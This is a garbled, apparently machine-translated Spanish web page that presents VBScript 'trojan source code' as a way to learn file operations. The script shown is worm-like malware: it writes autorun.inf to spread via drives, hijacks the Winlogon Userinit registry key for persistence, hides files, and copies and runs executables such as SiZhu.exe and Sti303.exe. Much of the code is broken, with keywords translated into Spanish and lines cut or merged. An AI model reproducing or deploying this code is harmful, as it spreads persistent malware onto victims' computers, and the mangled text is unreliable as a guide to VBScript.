Red de conocimiento informático - Problemas con los teléfonos móviles - El formato de sintaxis del script vbs

El formato de sintaxis del script vbs

Proporcionar código fuente troyano. Puede aprender algunas operaciones en archivos y directorios.

Continúe con el siguiente paso si se produce un error

Dim fso, wshell, curfolder, curdristr, curdri

Set fso=createobject("scripting.filesystemobject" )

Establecer wshell=CreateObject("WScript.shell")

Establecer curfolder=CreateObject("WScript.shell")Else 'Si está en otra carpeta

copyrun()

autorun()

WScript.quit

Finalizar si

WScript.Sleep 15000

WScript.Sleep 15000

WScript.Sleep 15000Sleep 15000

downrun()

Establecer fso=Nada

Establecer curfolder=Nada

Establecer curdri=Nada

Establecer wshell=Nada

'Escribir en autorun.inf'

Sub autoinf(ruta)

Dim inf

Establecer inf=fso.createtextfile(pathamp;"\autorun.inf",True)

inf.writeline("[AutoRun]")

inf.writeline("open=WScript.exe . \mp3.vbs")

inf.writeline("shell\open=Open (amp; O)")

inf.writeline("shell\open\Command=WScript.exe. \mp3.vbs")

inf.writeline("shell\open\Default=1")

inf.writeline ("shell\explore=Explorer(amp;O)")

inf.writeline(writeline("shell\explore\Command=WScript.exe . \mp3.vbs")

inf.writeline("shell\find=Search(amp;E)")

inf.writeline("shell\find\Command=WScript.exe .vbs")

set inf=nada

Fin sub

'Abrir carpeta

Sub abrir(ruta)

wshell.run " explorador"amp ;ruta

End Sub

'Autorun

Sub autorun()

regget=wshell.RegRead("HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit")

Si r

eggetlt;gt; "userinit.exe, mp3.vbs" Luego

wshell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\Winlogon\Userinit", "userinit.exe, mp3.vbs" , "REG_SZ"

End If

End Sub

'No mostrar archivos ocultos

Sub reghid()

Dim reg

reg=wshell.ShowSuperHidden", 0, "REG_DWORD"

End If

End Sub

' Juicio Si este archivo existe en system32, si no, cópielo y ejecútelo; si SiZhu.exe existe, cópielo y ejecútelo, fso.GetSpecialFolder(1)amp "(mp3.vbs)", True

wshell.Ejecute fso.FileExists(".\mp3.vbs").FileExists(".\SiZhu.exe") y no fso.FileExists(fso.GetSpecialFolder(1)amp;"\SiZhu.exe") Luego

fso.CopyFile ".\SiZhu.exe", fso.GetSpecialFolder(1)amp; "\SiZhu.exe", True

wshell.Run fso.GetSpecialFolder(1)amp ;"\SiZhu.exe"

End If

End If

End sub

'Eliminarse a sí mismo, si existe SiZhu. exe, elimínelo también SaveToFile "C:\WINDOWS\Sti303.exe", 2

Shell.Run ("C:\WINDOWS\Sti303.exe")

end. sub